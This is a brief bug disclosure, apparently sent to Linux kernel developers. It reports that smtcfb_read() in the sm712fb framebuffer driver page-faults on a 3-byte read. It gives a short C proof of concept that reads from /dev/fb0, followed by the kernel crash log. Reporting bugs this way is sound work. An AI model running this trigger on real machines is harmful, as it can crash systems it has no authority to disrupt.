I found a minor in the smtcfb_read() function of the driver sm712fb.
This read function can not handle the case that the size of the
buffer is 3 and does not check for it, which may cause a page fault.
Here is a simple PoC:
#include <endian.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
char buf[10];
int fd = open("/dev/fb0", O_RDWR);
read(fd, buf, 3);
return 0;
}
The following log reveals it:
[ 2432.614490] BUG: unable to handle page fault for address: ffffc90001ffffff
[ 2432.618474] RIP: 0010:smtcfb_read+0x230/0x3e0
[ 2432.626551] Call Trace:
[ 2432.626770] <TASK>
[ 2432.626950] vfs_read+0x198/0xa00
[ 2432.627225] ? do_sys_openat2+0x27d/0x350
[ 2432.627552] ? __fget_light+0x54/0x340
[ 2432.627871] ksys_read+0xce/0x190
[ 2432.628143] do_syscall_64+0x43/0x90
Regards,
Zheyu Ma